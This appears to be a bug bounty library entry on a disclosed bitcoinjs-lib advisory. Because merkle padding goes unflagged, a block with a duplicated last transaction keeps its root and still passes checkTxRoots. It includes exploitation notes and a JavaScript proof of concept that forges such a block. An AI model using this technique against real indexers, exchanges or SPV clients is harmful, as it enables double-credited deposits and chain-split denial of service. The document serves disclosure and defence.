# bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list

bitcoinjs-lib's fastMerkleRoot silently pads odd levels by self-hashing, so a peer can duplicate the last tx and keep the same merkle root and block id.

- Payout: Research
- Severity: critical
- Program: bitcoinjs-lib
- Found by: 0xaudron, Ali-Kalout
- Disclosed: 2026-11-10
- CVE: CVE-2026-107846
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8vv3-6qpc-gpw6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8vv3-6qpc-gpw6
- Tags: area:web3 domain:web3 impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:regression technique:source-review vuln:accounting-error vuln:dos

**Target:** Block merkle root computation and checkTxRoots validation in bitcoinjs-lib
**Root cause:** fastMerkleRoot pads odd levels by hashing the last node with itself without reporting it, and checkTxRoots never scans for adjacent equal hashes or repeated txids, so a mutated transaction tree yields the same root.
**Steps:**
1. Load a real mainnet block fixture via `Block.fromHex(f.hex)` and confirm `checkTxRoots()` returns true.
2. Duplicate the last transaction: `forged.transactions = forged.transactions.concat([forged.transactions[forged.transactions.length - 1]])`.
3. Round-trip through the parser with `Block.fromHex(forged.toHex())` to simulate a P2P block message.
4. Observe the forged block has 10 transactions and 3313 serialized bytes but the identical merkle root `5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f` and block id.
5. `parsed.checkTxRoots()` still returns true, accepting the mutated block.
**How found:** Recognized that bitcoinjs-lib's fastMerkleRoot replicates Bitcoin Core's odd-level padding but omits Core's `mutated` detection in ComputeMerkleRoot and `bad-txns-duplicate` rejection in CheckBlock, then tested a real mainnet block with a duplicated last tx.
**Exploitation:** A peer relays a mutated copy of an existing on-chain block with the last transaction duplicated; the header is unchanged so proof of work still validates. An explorer, exchange indexer or SPV client gating on checkTxRoots sees the duplicated tx twice and may credit a deposit twice; a consumer that blacklists the block hash then rejects the honest block, causing the chain-split DoS from CVE-2012-2459.
**Escalation:** Double-credit of a deposit by indexers, or chain-split denial of service when the mutated hash is blacklisted and the honest block is rejected too.
**Insight:** When a library reimplements a consensus algorithm, diff it against the reference implementation's safety checks — here Core's `mutated` flag — and test with a real fixture whose tx count is odd at some level, since most blocks are rewritable.

## Proof of concept (copied exactly from the original report)

**PoC forging duplicate tx to keep merkle root**

```
const honest = Block.fromHex(f.hex);
console.log('honest block id       :', honest.getId());
console.log('id matches fixture    :', honest.getId() === f.id);
console.log('transactions          :', honest.transactions.length);
console.log('merkle root           :', hex(honest.merkleRoot));
console.log('checkTxRoots()        :', honest.checkTxRoots());
console.log('serialized bytes      :', honest.toBuffer().length);

// Attacker duplicates the last transaction and relays the result.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
  forged.transactions[forged.transactions.length - 1],
]);
// Round trip through the real parser, exactly as a P2P block message arrives.
const parsed = Block.fromHex(forged.toHex());

console.log('');
console.log('forged block id       :', parsed.getId());
console.log('transactions          :', parsed.transactions.length);
console.log('merkle root           :', hex(parsed.merkleRoot));
console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
console.log('checkTxRoots()        :', parsed.checkTxRoots());
console.log('serialized bytes      :', parsed.toBuffer().length);

const ids = parsed.transactions.map((t) => t.getId());
console.log('');
console.log('same block id                 :', honest.getId() === parsed.getId());
console.log('different serialized bytes    :', honest.toHex() !== parsed.toHex());
console.log('different transaction lists   :', honest.transactions.length !== parsed.transactions.length);
console.log('duplicate txid inside forged  :', new Set(ids).size !== ids.length);
console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());
```

